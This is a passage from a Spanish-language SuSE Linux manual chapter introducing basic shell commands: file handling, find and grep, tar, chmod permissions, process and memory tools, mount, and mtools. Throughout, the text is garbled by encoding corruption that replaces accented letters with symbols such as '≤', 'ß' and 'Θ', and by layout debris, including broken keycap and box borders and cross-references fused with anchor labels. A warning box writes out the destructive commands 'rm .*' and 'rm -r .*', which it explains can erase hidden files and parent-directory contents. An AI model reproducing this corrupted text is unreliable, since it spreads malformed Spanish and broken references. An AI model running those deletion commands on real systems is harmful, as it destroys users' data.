yes ) y pulsando |_____-|empieza la b·squeda. Si se pulsa |n_ |, aparece a contin-
uaci≤n el pr≤ximo yes que se encuentre en el fichero.
Con la tecla |F__|se puede observar, p. ej. , c≤mo en un fichero_de_login_se van_
efectuando nuevas entradas. Para salir de este modo, se pulsa |C______|trl+ |c_ |.
Con h |||||__se_obtiene un listado de todas las caracterφsticas_que less pone a su
servicio; con |q_ |se sale de ''Ayuda'' y al pulsar de nuevo |q_ |finaliza el trabajo,
se sale del programa por completo y se regresa a la lφnea de comandos, junto
al prompt.
Para modificar ficheros de texto se utiliza un + editor; el editor estßndar de
un sistema Unix es vi , con el cual es imprescindible familiarizarse cuando se
tenga unos minutos de calma (ver apartado 19.15 en la pßgina 491El editor
visection.19.15).
19.7.4 Ficheros ocultos
Un tipo especial de ficheros son los ficheros ocultos. Los nombres de fichero
empiezan con un punto y s≤lo es posible verlos en la shell cuando se utiliza ls
con la opci≤n -a . Se introduce sencillamente la orden ls -a desde el directo-
rio de usuario. Ahora se deberßn ver en el listado, tambiΘn los ficheros ''ocul-
tos'' que llevan delante un punto, como por ej. ~/.profile y ~/.xinitrc.
Los ficheros ocultos estßn protegidos para no ser borrados de forma involun-
taria al usar rm * (ver apartado 19.7.5 en la pßgina siguiente) y se pueden
eliminar, dado el caso, con una orden explicita de borrado rm <.fichero> .
*
* 475
19. Introducci≤n a_Linux__________________________________________________________________________________________________________*
*_______________________________________@
________________________________________________________________________________________________________*
*________||
| Con la orden rm .* se borran todos los ficheros ocultos del actual di- *
* ||||
|| rectorio! Si ademßs se a±ade la opci≤n -r (ingl. recursive) con la orden *
* ||||
| (rm -r .* ) se borrarßn tambiΘn todos los ficheros del directorio superior, *
* ||||
| que tengan la forma `../bla', que es lo mismo que `.*'. Se recomienda *
* |||
| *
* |||
| ser muy cuidadoso al usar la option -r ! *
* |||
|_______________________________________________________________________________________________________*
*________|||_
19.7.5 Copiar, renombrar y borrar ficheros
El comando para copiar ficheros en Linux es cp :
tux@tierra: > cp fichero_original fichero_copia
En lugar de <fichero`copia> se puede indicar tambiΘn el nombre de un di-
rectorio existente; en tal caso el fichero original se copiarφa con el mismo
nombre a este directorio. Para copiar el fichero /etc/XF86Config del direc-
torio /etc al directorio del usuario, se puede usar la siguiente orden:
tux@tierra: > cp /etc/XF86Config ~
Los ficheros pueden ser borrados con el comando rm (ingl. remove). Una
opci≤n prßctica es -r (ingl. recursive), mediante la cual se pueden borrar
tambiΘn todos los subdirectorios y los ficheros contenidos en ellos (es com-
parable al comando existente desde DOS 6.0 deltree ). Con la instrucci≤n
tux@tierra: > rm -r bin
se borrarß p. ej. el directorio bin del actual directorio y todos los subdirecto-
rios y ficheros contenidos en Θste. Esta opci≤n debe ser utilizada con mucho
cuidado ya que no existe ninguna posibilidad de recuperar los ficheros borra-
dos por equivocaci≤n!
Con la orden mv (ingl. move) se mueven ficheros o directorios. La sintaxis es
idΘntica a la de cp . Con la orden:
tux@tierra: > mv xvnews.tgz XVNEWS.tgz
el fichero xvnews.tgz del actual directorio serß ''movido'' al fichero de nom-
bre XVNEWS.tgz del actual directorio, lo que se parece mucho a un simple
renombrar. Esto es muy interesante cuando se trata de mover directorios en-
teros:
tux@tierra: > mv bin ~/latex
mueve el directorio bin (si es que existe uno en el directorio actual) a ~/
latex. Todos los directorios y ficheros que se encontraban bajo bin, se
encuentran ahora bajo ~/latex/bin. TambiΘn hay que ir con cuidado con
esta instrucci≤n, ya que se puede trasladar de manera rßpida una cadena de
directorios a sitios que luego son muy difφciles de encontrar.
El traslado de una cadena completa de directorios es s≤lo posible dentro de
un mismo sistema de ficheros (o sea de una partici≤n).
19.7.6 B·squeda en ficheros
Otra orden de gran utilidad: find . Para buscar en todos los subdirectorios el
fichero Mortadelo, se tendrφa que escribir el siguiente comando:
tux@tierra: > find . -name "Mortadelo"
476
_________________________________________________________________________________________19.7.__Trabajar_con_ficheros_______*
*______________________
El primer argumento designa el directorio a partir del cual se inicia la b·sque-
da. La opci≤n -name es la cadena de caracteres que se busca, en la cual tam-
biΘn se permite introducir + Wildcards. Asφ, para buscar todos los ficheros
que contengan en su nombre la cadena de caracteres `Mortadelo', se debe
modificar la anterior orden de la siguiente forma:
tux@tierra: > find . -name "*Mortadelo*"
Para una descripci≤n mßs detallada recomendamos, como para todos los
demßs comandos, consultar la correspondiente Manual-Page.
Existe todavφa una posibilidad mßs rßpida de encontrar ficheros mediante
locate (tener en cuenta las Manual-Pages de locate y las Manual-Pages
citadas en ellas).
Cuando no se busca un fichero con nombre especφfico, sino una determinada
cadena de caracteres en un fichero, se utilizarß el comando grep (ingl. get
regular expression pattern). La siguiente instrucci≤n busca en el fichero
Mortadelo la cadena de caracteres `Filem≤n':
tux@tierra: > grep "Filem≤n" Mortadelo
De esa manera se realiza la b·squeda de una determinada cadena de caracteres
en ficheros con textos largos. Se puede realizar esta b·squeda en cualquier
cantidad de ficheros, utilizando wildcards y caracteres normales. Como re-
sultado se obtendrßn todas las lφneas en las que se encuentre la cadena de
caracteres buscada.
Existen muchas opciones que permiten modificar el comportamiento de grep .
Es por ello que se aconseja leer la pßgina del manual de grep (man grep ).
19.7.7 Enlaces simb≤licos
Mediante la utilizaci≤n de + Enlaces simb≤licos se puede atribuir un nombre
extra a un fichero. Con este nombre se ''se±ala'' el fichero. Puede pasar p. ej.
que diferentes versiones de un programa sean retiradas, pero que las consigu-
ientes nuevas versiones puedan ser siempre utilizadas bajo el mismo nombre.
La soluci≤n radica en crear un enlace simb≤lico que se±ale respectivamente la
versi≤n que se vaya a utilizar. Los enlaces simb≤licos se comportan como los
ficheros a los que se±alan, por lo tanto, tambiΘn son ejecutables. La siguiente
orden
tux@tierra: > ln -s check.2.4 check
crea el enlace simb≤lico check, el cual se±ala al fichero check.2.4. En el
directorio se indicarφa lo siguiente:
lrwxrwxrwx 1 tux users 1024 Mar 21 17:13 check -> check.2.4*
Los enlaces pueden, de igual manera que los ficheros, ser borrados con rm .
_______________________________________________________________________________________________________________________
|||||||| Con ello s≤lo se borra el enlace y no el fichero al cual hace referencia! || |
||||||||_______________________________________________________________________________________________________________||_
19.7.8 Archivar y guardar Datos
Para crear o desempaquetar ficheros se usa el comando tar (ingl. tape
archive). Un fichero puede contener un solo fichero o una cadena entera de
directorios, incluφdos los ficheros que Θstos contengan.
*
* 477
19. Introducci≤n a_Linux__________________________________________________________________________________________________________*
*_______________________________________@
Los ficheros asφ empaquetados pueden ser tambiΘn comprimidos, lo cual re-
duce de manera considerable su tama±o. Normalmente a estos ficheros com-
primidos se les da la terminaci≤n .tgz o .tar.gz, y .tar a los no comprim-
idos. Los casos mßs frecuentes de utilizaci≤n del comando tar son:
1. Desempaquetar ficheros (p. ej. del CD)
tux@tierra: > tar xvfz fichero.tgz
tar desempaqueta (x ) el fichero fichero.tgz (f ) comprimido (z ) y crea
los subdirectorios de forma automßtica. El nombre de cada fichero que en
ese momento es desempaquetado aparece en la pantalla (v ).
2. Crear ficheros
tux@tierra: > tar cvfz fichero.tgz fichero1 direc1
tar crea (c ) el fichero fichero.tgz (f ) comprimido (z ), en el cual se
incluyen el fichero fichero1 y todos los subdirectorios y ficheros que
contiene el directorio direc1. El nombre de cada fichero que en ese
momento es empaquetado aparece en la pantalla (v ).
3. Mirar el contenido de un fichero
tux@tierra: > tar tfz fichero.tgz
tar da un φndice (t ) del fichero fichero.tgz (f ) comprimido (z ).
La opci≤n z indica que se debe usar el programa GNUZip (gzip ) para crear
o desempaquetar ficheros comprimidos.
tux@tierra: > tar xvf fichero.tar
desempaqueta el fichero no comprimido fichero.tar. Se obtiene mßs in-
formaci≤n con la instrucci≤n:
tux@tierra: > tar --help
19.8 Autorizaciones para ficheros
S≤lo el usuario `root' tiene, como administrador del sistema, acceso sin
restricciones a todos los ficheros. Esto tambiΘn significa que es el ·nico
autorizado para otorgar o quitar todos los derechos de acceso.
19.8.1 El concepto de las autorizaciones
La distribuci≤n de los derechos de acceso sobre un fichero, se estructura en
tres categorφas:
o Derechos del propietario ((ingl. owner))
o Derechos de los miembros de un grupo ((ingl. group))
o Derechos de todos los demßs ((ingl. others))
En el listado de ficheros (forma larga) de un directorio, cada una de estas tres
categorφas se representa mediante tres caracteres.
Contando el primer carßcter, que representa el tipo de fichero (d, l, o -),
tendremos los 10 banderines de cada fichero. Cada banderφn es representado
por un carßcter. Los banderines son los mismos para las tres categorφas:
478
______________________________________________________________________________19.8.__Autorizaciones_para_ficheros___________*
*______________________
`r' para leer (ingl. readable), `w' para escribir (ingl. writable) y `x' para
ejecutar (ingl. executable). El carßcter `-' indica que no se ha colocado el
banderφn, y por lo tanto esa opci≤n no estß autorizada. Observemos a modo
de ejemplo el fichero imaginario linux.info.
-rw-r-xr-- 1 tux users 29524 Jun 29 13:11 linux.info
Figura 19.1: Representaci≤n de las autorizaciones de acceso a un fichero
En el caso del fichero linux.info, Θsto significarφa lo siguiente: El propi-
etario del fichero (tux) puede modificarlo y leerlo, los miembros del grupo
users s≤lo pueden leerlo y ejecutarlo, mientras que el resto de los usuarios
del sistema s≤lo pueden leerlo. El primer carßcter `-' de la cadena indica
que se trata de un + fichero (ingl. regular file) ''normal''.
Con los directorios ocurre igual. En este caso, el primer carßcter de la cadena
es `d' (ingl. directory). Por ejemplo:
drwxr-xr-- 3 tux users 1024 Jun 29 13:11 info/
Cuando a un directorio se le ha colocado el banderφn `x', significa que se
tiene acceso a Θl.
En nuestro ejemplo significarφa que los usuarios que no pertenecen al grupo
users no pueden acceder al directorio info.
Cambiar las autorizaciones de acceso
El cambio de las autorizaciones de acceso se realiza con el comando chmod
(ingl. change mode). Por lo general se necesitan para chmod dos argumentos:
o las autorizaciones de acceso a cambiar, y
o el nombre de fichero.
Las categorφas de los tres posibles grupos se indican con `u' para el propi-
etario o usuario (ingl. user), `g' para el grupo (ingl. group) y `o' para todos
los demßs (ingl. others). Tras esto se indican las autorizaciones a cambiar.
Para a±adir un permiso se usa `+' y el signo `-' para quitar el mismo. El
siguiente comando p. ej. modifica las autorizaciones del fichero linux.info
para los miembros del grupo a lectura, escritura y ejecutable:
tux@tierra: > chmod g+rwx linux.info
Modificando las autorizaciones de todas las categorφas de usuarios, es sufi-
ciente indicar el cambio de las mismas. En el siguiente ejemplo, las autor-
izaciones sobre el fichero linux.info se modifican de tal manera, que nadie
tenga acceso de escritura (derecho de escribir y modificar):
tux@tierra: > chmod -w linux.info
Las autorizaciones de lectura y ejecuci≤n no se ven afectadas.
Existe tambiΘn la posibilidad de a±adir y de quitar autorizaciones con un solo
comando. La siguiente orden cambia los derechos sobre el fichero linux.
info a ejecutable, no legible y no modificable:
*
* 479
19. Introducci≤n a_Linux__________________________________________________________________________________________________________*
*_______________________________________@
tux@tierra: > chmod u+x-rw linux.info
De lo cual resulta:
tux@tierra: > ls -l linux.info
---xr-xr-- 1 tux users 29524 Jun 29 13:11 linux.info
Otros comandos que son interesantes en este contexto son chown para el
''cambio de propietario'' (ingl. change owner) y el comando chgrp para cam-
biar el grupo (ingl. change group).
19.9 Manual-Pages
Las ''Manual-Pages'' (pßginas de manual) informan sobre comandos, ficheros
de configuraci≤n y las funciones de biblioteca de C. En la tabla 19.5 se anotan
las distintas posibilidades para el comando man .
_______________________________________________________________________________________________________*
*_________
man <palabra clave> llama la Manual-Page de
<palabra clave>.
man -f <palabra clave> busca por <palabra clave> y
apunta las Manual-Pages en-
contradas.
man -k <palabra clave> busca en todas las secciones
de las Manpages por una
con la palabra clave <pala-
bra clave> y apunta las que
se hayan encontrado.
man <secci≤n> <palabra clave> llama la Manual-Page de
<palabra clave> desde la
<secci≤n>. Asφ que p. ej. el
comando man 1 man llama
la Manual-Page del comando
man desde la secci≤n 1 .
_______________________________________________________________________________________________________*
*_________
Tabla 19.5: Llamadas al comando man
Cuando se estß en el sistema X Window tambiΘn se puede usar el programa
xman . No obstante el comando normal man tiene su raz≤n de ser, ya que
simplemente es mßs rßpido. Para mostrar las Manual-Pages, el comando man
usa la herramienta less (ver apartado 19.7.3 en la pßgina 474El contenido de
los ficherossubsection.19.7.3). Si se tiene instalado el sistema de ayuda de
SuSE , se pueden consultar las Manual-Pages c≤modamente.
Las Manual-Pages se separan en diferentes secciones (ver tabla 19.6 en la
pßgina siguiente).
480
____________________________________________________________19.10.__Informaci≤n_sobre_el_estado_del_sistema_________________*
*______________________
______________________________________________________________________________________________________________________
1 Descripci≤n de los comandos de usuario aparte de aquellos que
vienen integrados con bash o tcsh ; hay informaci≤n sobre estos
en la Manual-Page de la shell usada.
2 Las llamadas al sistema de las distintas bibliotecas.
3 Las funciones de biblioteca de C.
4 Descripci≤n de ficheros de configuraci≤n.
5 La sintaxis de ficheros importantes.
6 Descripci≤n de juegos.
7 Todo lo que tiene que ver con texto, formatos de texto u otros.
8 Los comandos del administrador de sistema.
9 Descripci≤n de las rutinas de kernel de Linux.
n n seg·n el dicho se deriva de ''nuevo''. Aquφ hay Manual-Pages que
pertenecen a las secciones indicadas arriba, pero que se han quedado
aquφ por tradici≤n. TambiΘn hay de las que no pertenecen a ninguna
de las secciones mencionadas.
______________________________________________________________________________________________________________________
Tabla 19.6: Secciones de las Manual-Pages
Se debe tener en cuenta que no existe una Manual-Page para cada palabra
clave o comando. Es posible encontrar informaci≤n en /usr/doc/, p. ej. en
/usr/doc/howto/en, /usr/doc/howto/en/mini o individual para cada
paquete en /usr/doc/packages.
19.10 Informaci≤n sobre el estado del sistema
Muchas veces es importante tener informaci≤n sobre el estado del sistema.
En esto ayudan p. ej. los comandos df , free , ps , top .
19.10.1 El comando df
df informa sobre el espacio usado y disponible en el disco duro. La respuesta
en pantalla es parecida a la del salida en pantalla 19.10.1.
_______________________________________________________________________________________________________________________||
|||||||| |
|||||||| Filesystem 1024-blocks Used Available Capacity Mounted on |
|||||||| |
|||||||| |
|||||||| /dev/sda4 699392 659258 5165 99% /home |
|||||||| /dev/sda1 102384 23955 73310 25% / |
|||||||| |
|||||||| /dev/sdb1 2097136 2070485 26651 99% /usr |
|||||||| /dev/sda3 126976 106908 20068 84% /opt |
|||||||| |
||||||||_______________________________________________________________________________________________________________ |
Mensaje en pantalla 19.10.1: Respuesta del comando df
*
* 481
19. Introducci≤n a_Linux__________________________________________________________________________________________________________*
*_______________________________________@
________________________________________________________________________________________________________*
*________||
| total used free shared buffers cached *
* |
|| Mem: 30900 29272 1628 25608 1012 6412 *
* ||
| *
* |
| -/+ buffers: 28260 2640 *
* |
| Swap: 66524 176 66348 *
* |
| *
* |
|_______________________________________________________________________________________________________*
*________ |
Mensaje en pantalla 19.10.2: Respuesta del comando free
19.10.2 El comando free
free informa sobre la ocupaci≤n de la memoria y del ßrea de intercambio
(swap); ver salida en pantalla 19.10.2:
Mßs informaci≤n en el anexo F en la pßgina 529┐Por quΘ consume Linux toda
la memoria?Item.247.
19.10.3 El comando ulimit
El comando ulimit (ingl. user limits) permite limitar los recursos de sis-
tema o visualizarlos. ulimit es especialmente ·til para limitar es uso de
la + Memoria por parte de las aplicaciones. Asφ es posible evitar que una
aplicaci≤n se reserve demasiada o toda la memoria lo que podrφa provocar el
cuelgue del sistema.
ulimit tiene varias opciones; algunas que pueden limitar el gasto de memo-
ria figuran en la tabla 19.7.
_______________________________________________________________________________________________________*
*_________
-m Tama±o mßximo de memoria RAM
-v Tama±o mßximo del fichero de intercambio (Swap)
-s Tama±o mßximo de las pilas
-c tama±o mßximo de los fichero core
-a Mostrar lφmites establecidos
_______________________________________________________________________________________________________*
*_________
Tabla 19.7: ulimit : Limitar los recursos para el usuario
Los lφmites para todo el sistema se pueden establecer en /etc/profile.
TambiΘn es en este fichero, d≤nde se debe dar de alta la creaci≤n de los
ficheros core, que necesitan los programadores para depurar c≤digo (ingl.
debugging). Los usuarios no pueden aumentar los valores que el + admin-
istrador de sistema define en /etc/profile, pero si que pueden hacer una
configuraci≤n personal en ~/.bashrc; ver el fichero 19.10.1.
________________________________________________________________________________________________________*
*________||
| *
* |
| # Limitar la memoria RAM: *
* |
| ulimit -m 98304 *
* |
| *
* |
| *
* |
| # Limitar la memoria virtual (swap): *
* |
| ulimit -v 98304 *
* |
| *
* |
|_______________________________________________________________________________________________________*
*________ |
482 Fichero 19.10.1: Establecer lφmites con ulimit en ~/.bashrc
Todos los valores se han de indicar en KB.
Informaci≤n mßs detallada se encuentra en pßgina del manual de bash
(man bash ).
____________________________________________________________19.10.__Informaci≤n_sobre_el_estado_del_sistema_________________*
*______________________
19.10.4 El comando w
El comando w muestra todos los usuarios que actualmente han entrado a su
cuenta en el sistema. Aparte de indicar la cantidad de usuarios conectados,
aparecen otros datos ·tiles como son la carga actual del sistema, el tiempo
que el sistema estß en marcha y lo que hacen los usuarios (ver salida en
pantalla 19.10.3).
_______________________________________________________________________________________________________________________||||
|||||||| |
|||||||| 11:05am up 21 days, 21:10, 8 users, load average: 0.23, 0.10, 0.10 |
|||||||| USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT |
|||||||| |
|||||||| root tty1 - 11:02am 3:34 0.10s 0.05s -bash |
|||||||| tux tty3 - 11:04am 1:24 1.29s 1.22s emacs |
|||||||| tux pts/1 :0.0 11Feb 0 19:42m 1:18 0.02s sed |
|||||||| tux pts/2 :0.0 30Jan 0 18:35m 56.29s ? - |
|||||||| |
|||||||| tux pts/6 :0.0 31Jan 0 4.00s 1.47s ? - |
|||||||| tux pts/3 :0.0 31Jan 0 2days 1.86s 1.44s bash |
|||||||| tux pts/9 :0.0 1Feb 0 2days 3.52s ? - |
|||||||| tux pts/10 :0.0 2Feb 0 59:19 9.10s 8.56s lynx |
|||||||| |
|||||||| tux pts/11 :0.0 2Feb 0 0.00s 26:49 0.01s |
|||||||| rlogin venus |
|||||||| tux pts/12 venus.cosmos.univ 11:09am 0.00s 0.11s 0.04s w |
|||||||| |
||||||||_______________________________________________________________________________________________________________ |
Mensaje en pantalla 19.10.3: Respuesta del comando w
19.10.5 El comando du
El comando du (ingl. disk usage) informa sobre la ocupaci≤n de disco por
parte de los distintos ficheros y sub-directorios. Hay mßs informaci≤n en la
pßgina del manual de du (man du ).
19.10.6 El comando kill
Mediante este comando se pueden mandar se±ales a procesos + Proceso que
estßn en funcionamiento. Para ello se necesita el n·mero de identificaci≤n de
proceso (ingl. process id), abreviado: PID. Este n·mero se averigua con el
comando ps (ver apartado 19.10.7). El comando kill se ejecuta con:
tierra: # kill <pid>
Si el proceso absorbiera la se±al de parada, es posible detenerlo con el
parßmetro opcional -9 . El comando:
tierra: # kill -9 <pid>
para el proceso con el <pid> definitivamente.
19.10.7 El comando ps
El comando ps (ingl. process status) muestra los procesos que ha iniciado el
usuario. Hay informaci≤n adicional en la pßgina del manual de ps (man ps ).
Usando la opci≤n ps -a se muestran tambiΘn los procesos iniciados por parte
de los demßs usuarios en la misma computadora. Se pueden parar procesos en
ejecuci≤n especφficos indicando el n·mero de proceso (1a columna la salida
en pantalla de ps ) (ver apartado 19.10.6).
*
* 483
19. Introducci≤n a_Linux__________________________________________________________________________________________________________*
*_______________________________________@
19.10.8 El comando pstree
El comando pstree ilustra el ''ßrbol de procesos'' completo tal como se
puede|observar|en el salida en pantalla 19.10.4. *
* ||
________________________________________________________________________________________________________*
*________||
| *
* |
| init-+-bash---startx---xinit-+-X *
* |
| *
* |
| | `-sh---fvwm-+-FvwmPager *
* |
| | |-FvwmWinList *
* |
| *
* |
| | |-GoodStuff *
* |
| | |-xclock *
* |
| *
* |
| | `-xeyes *
* |
| |-color_xterm---bash---xdvi.bin---gs *
* |
| *
* |
| |-2*[color_xterm---bash---vi] *
* |
| |-color_xterm---bash---pstree *
* |
| |-coolmail---coolmail---xterm---pine *
* |
| *
* |
| |-cron *
* |
| |-gpm *
* |
| *
* |
| |-inetd *
* |
| |-kflushd *
* |
| *
* |
| |-klogd *
* |
| |-kswapd *
* |
| *
* |
| |-5*[mingetty] *
* |
| |-4*[nfsiod] *
* |
| *
* |
| |-sh---master---slipto *
* |
| |-syslogd *
* |
| |-update *
* |
| *
* |
| |-xload *
* |
| `-xosview *
* |
| *
* |
|_______________________________________________________________________________________________________*
*________ |
Mensaje en pantalla 19.10.4: Respuesta del comando pstree
19.10.9 El comando top
Se muestran todos los procesos que estßn en marcha, la carga del sistema,_etc.
La pantalla se actualiza peri≤dicamente y se puede parar pulsando |q_ |.
19.11 Sistemas de fichero en Linux ~ mount y umount
Tratar y administrar sistemas de ficheros puede ser un verdadero arte.
19.11.1 Sistemas de ficheros
Linux soporta muchos tipos de + sistema de ficheros. La tabla 19.8 en la
pßgina siguiente muestra una selecci≤n de ellos.
_______________________________________________________________________________________________________*
*_________
affs Un sistema de ficheros usado en las computadoras Amiga
(ingl. Amiga Fast Filesystem).
_______________________________________________________________________________________________________*
*_________
Tabla 19.8: Contin·a en la pßgina siguiente ...
484
________________________________________________19.11.__Sistemas_de_fichero_en_Linux_~_mount______y_umount__________________*
*______________________
______________________________________________________________________________________________________________________
ext2 (ingl. Second extended Filesystem) El sistema de ficheros es-
tßndar en Linux (+ EXT2.
hpfs Sistema de ficheros estßndar de IBM OS/2 (ingl. High Per-
formance Filesystem). Linux solo soporta accesos de lectura
(ingl. read-only) sobre Θl.
iso9660 Sistema de ficheros estßndar en CDROM.
minix Este sistema de ficheros se origina en proyectos de ense±anza
acadΘmicos y fue el primer sistema de ficheros que se us≤
para Linux. Hoy en dφa su uso bajo Linux se restringe casi
por completo a los disquetes.
msdos Sistema de ficheros originalmente usado por DOS , que se
usa hasta hoy en dφa para diversos sistemas operativos.
ncpfs Sistema de ficheros para montar vol·menes de Novell.
nfs Con este sistema de ficheros los datos se encuentran en el
disco duro de otra computadora y se accede a ellos de forma
transparente vφa red (ingl. Network Filesystem).
proc Sistema de ficheros de procesos (virtual).
smbfs SMB (ingl. Server Message Block) es un protocolo que usan
WfW , Windows NT y LAN Manager , para dar acceso a
ficheros vφa red.
sysv Sistema de ficheros que usan SCO-Unix , Xenix y Coherent
(sistemas comerciales de Unix para PC).
ufs Sistema de ficheros usado por BSD , SunOS y NeXTstep ;
Linux solo soporta accesos de lectura (ingl. read-only) sobre
Θl.
umsdos Es un sistema de ficheros montado sobre uno del tipo fat
normal (ingl. Unix on MSDOS), que consigue toda la fun-
cionalidad de Unix por la generaci≤n de ficheros especiales
que contienen la informaci≤n sobre las autorizaciones, los
enlaces y los nombres de fichero largos; es muy lento.
vfat Extensi≤n del sistema de ficheros fat en cuanto a la longitud
de los nombres de fichero (ingl. Virtual FAT ).
______________________________________________________________________________________________________________________
Tabla 19.8: Sistemas de fichero en Linux
19.11.2 Montaje y desmontaje de sistemas de ficheros
El comando mount sirve para incorporar un medio de datos (disquete, CD-
ROM) en el sistema de ficheros de Linux. Normalmente solo el superusuario
`root' puede usar este comando, que necesita dos parßmetros:
o el nombre del medio (corresponde con el nombre de dispositivo, p. ej.
/dev/hda3)
o y un directorio ya existente bajo el cual se incorpora (monta) el medio.
La opci≤n -t <tipo-de-sistema-de-ficheros> indica el tipo de sis-
tema de ficheros a montar (ver tabla 19.8).
*
* 485
19. Introducci≤n a_Linux__________________________________________________________________________________________________________*
*_______________________________________@
En el siguiente ejemplo se monta la partici≤n DOS hda2 en el directorio
/dosa:
tierra:/ # mount -t msdos /dev/hda2 /dosa
Es necesario generar el directorio /dosa antes del proceso de montaje (ver
apartado 19.6 en la pßgina 472Trabajar con directoriossection.19.6).
Es muy aconsejable apuntar en el fichero /etc/fstab todos los disposi-
tivos que se montan con frecuencia en el mismo lugar dentro del sistema
de ficheros. Estos pueden ser la disquetera o lectores CD-ROM; para ello se
puede consultar la pßgina del manual de mount (man 8 mount ).
Usando la opci≤n -r se monta un medio p. ej. de solo lectura (ingl. read-only),
lo que significa que no se puede escribir sobre Θl mismo. Otras opciones se
documentan en la pßgina del manual de mount (man 8 mount ).
________________________________________________________________________________________________________*
*________
| *
* |||
| Si se quiere tener la posibilidad de escribir sobre particiones de DOS co- *
* |||
| mo usuario ''normal'' (no como superusuario `root') se deben consultar *
* |||
| *
* |||
| los pasos necesarios en http://sdb.suse.de/sdb/en/html/kfr_18. *
* |||
| html. *
* |||
|_______________________________________________________________________________________________________*
*________|||_
mount protocoliza los sistemas de fichero montados en el fichero /etc/mtab.
Cuando se llama a mount sin ning·n parßmetro, el contenido de este fichero
sale en pantalla, representando el listado de todos los sistemas de ficheros
montados.
Mediante el comando umount se quita un dispositivo del sistema de fichero
de Linux (''desmontar'')7 . El parßmetro para umount puede ser el nombre
del dispositivo montado o el nombre del directorio bajo el cual estß mon-
tado. Para ''desmontar'' p. ej. /dev/hda2, montado sobre /dosa, se puede
introducir:
tierra: # umount /dosa
o bien:
tierra: # umount /dev/hda2
________________________________________________________________________________________________________*
*________||
| Si se ha montado un sistema de ficheros desde un disquete o de otro medio *
* ||||
| *
* |||
| extraible, es importante ejecutar el comando umount antes de extraer el *
* |||
| *
* |||
| disquete de la disquetera. *
* |||
| Cuando todavφa hay ficheros abiertos en un dispositivo montado, estos se *
* |||
| *
* |||
| escriben al medio ejecutando el comando umount . Si esto no fuera posible, *
* |||
| aparecerφa un mensaje de error. *
* |||
| *
* |||
| No se puede ''desmontar'' ning·n sistema de ficheros cuando hay todavφa *
* |||
| *
* |||
| alg·n usuario dentro de alguna rama por debajo del punto de montaje (p. ej. *
* |||
| dentro de una shell). *
* |||
|_______________________________________________________________________________________________________*
*________|||_
19.12 Comandos DOS bajo Unix usando mtools
Los mtools que se encuentran en el paquete mtools, serie ap, existen es-
pecialmente_para_el_tratamiento_de_ficheros_del_tipo DOS en disquetes o en
7 En realidad el comando se llam≤ unmount , pero la `n' se perdi≤ en alg·n momento de la
historia de Unix.
486
________________________________________________________19.12.__Comandos_DOS_bajo_Unix_usando_mtools________________________*
*______________________
el disco duro. Cada programa ofrecido trata de emular lo mejor posible su
contraparte de DOS, usando siempre una `m' por delante del comando, como
p. ej. en mcopy .
_______________________________________________________________________________________________________________________||
|||||||| íLos comandos del paquete mtools solo se deben usar si el medio en ||| |
|||||||| cuesti≤n no estß montado! || |
||||||||_______________________________________________________________________________________________________________||_
Los nombres de fichero de DOS se componen por una letra de unidad seguida
de dos puntos y un nombre de sub-directorio (opcional) tal como el nombre
de fichero mismo. Bajo DOS se usa exclusivamente el sφmbolo `\'.
Los mtools en Linux permiten el uso de `/' tal como el de `\'. Usando el
sφmbolo `\' o + Wildcards (comodines) como p. ej. `*' o `?' estos sφmbolos
deben estar dentro de comillas para que la shell no los interprete antes de que
lo haga el comando mtools .
El sencillo asterisco `*' bajo mtools corresponde a la secuencia de caracteres
`*.*' en DOS. En lugar de la barra `/' de DOS para pasar parßmetros, se
usa el signo menos `-' como es usual bajo Linux.
El dispositivo estßndar para los mtools es la primera disquetera (bajo DOS
`a:'). mtools usa el directorio raφz del disquete a:\ como directorio por
defecto. Si se quiere usar otro se puede cambiar hacia allφ con el comando
mcd . Antes de sacar el disquete de la disquetera se debe recordar de volver al
directorio raφz del medio, ya que en caso contrario no se podrφa leer ning·n
nuevo ßrbol de directorios.
En este momento los mtools soportan, entre otros, los siguientes comandos
de DOS:
______________________________________________________________________________________________________________________
mattrib Cambio de los atributos de fichero de DOS (hidden ,
system , etc.).
mcd Cambio a otro directorio.
mcopy Copiar de/a DOS y a/de Unix, tambiΘn de forma recursiva.
Hay que indicar siempre el destino.
mdel Borrar un fichero DOS.
mdeltree Borrar un directorio DOS de forma recursiva.
mdir Ver contenido de un directorio DOS.
mformat Generar un sistema de ficheros DOS en un disquete for-
mateado a bajo nivel. El formateo a bajo nivel se realiza
con fdformat .
mlabel Cambio de nombre de un medio DOS.
mmd Generar un subdirectorio de DOS.
mrd Borrar un subdirectorio de DOS.
mread Lectura de un fichero DOS para un sistema Unix.
mren Cambio de nombre de un fichero DOS existente.
mtype Mostrar el contenido de un fichero DOS.
mwrite Copia a bajo nivel de un fichero Unix a un sistema de
ficheros DOS.
______________________________________________________________________________________________________________________
Tabla 19.9: Comandos del paquete mtools
*
* 487
19. Introducci≤n a_Linux__________________________________________________________________________________________________________*
*_______________________________________@
Se supone por defecto que la disquetera a: es de 3.5-pulgadas, y la de B:
de 5.25-pulgadas. En estas disqueteras se soportan los formatos 720 KB y
1.44 MB, asφ como 360 KB y 1.2 MB.
Estos valores por defecto se pueden modificar en el fichero /etc/mtools.
conf. Los apuntes en cada lφnea se detallan de la siguiente manera:
o Letra de unidad (bajo DOS), p. ej. a:
o Nombre de dispositivo (Linux), p. ej. /dev/fd0
o C≤digo (12 disquetera, 16 disco duro)
o N·mero de pistas, cabezales y sectores
Modificando los parßmetros se puede usar tambiΘn dos disqueteras de 3.5-
pulgadas. En cuanto a los demßs parßmetros hay que vigilar que no se usen
dos letras de unidad DOS iguales y tampoco iguales nombres de dispositivo
de Linux.
19.13 Resumen de los comandos de Unix
A continuaci≤n los comandos mßs importantes en resumen (los parßmetros
opcionales se indican en parΘntesis `[]'):
_______________________________________________________________________________________________________*
*_________
cd carp Cambio al subdirectorio carp.
cd .. Cambio al directorio superior.
cd /carp Cambio al directorio /carp.
cd [ ] Cambio al directorio de usuario
cp fuente destino Copia fuente a destino.
ln [-s] relaci≤n nombre Genera en el directorio actual el en-
lace [simb≤lico] nombre, que apunta al
fichero relaci≤n. nombre indica la ra-
ma en la que se encuentra el fichero,
que realmente se busca en este directo-
rio. Es posible referenciar los enlaces
de un sistema de ficheros a otro. Los en-
laces simb≤licos permiten tambiΘn en-
lazar directorios.
ls [carp] Listado de todos los ficheros y carpetas
en el directorio carp.
ls -l [carp] Listado de todos los ficheros y carpetas
en el directorio carp en forma larga y
explφcita.
ls -a [carp] Muestra tambiΘn los ficheros ocultos
(p. ej. ~/.xinitrc).
mkdir nuevacarp Genera el directorio nuevacarp.
less fichero Muestra un fichero por pßgina (hacia
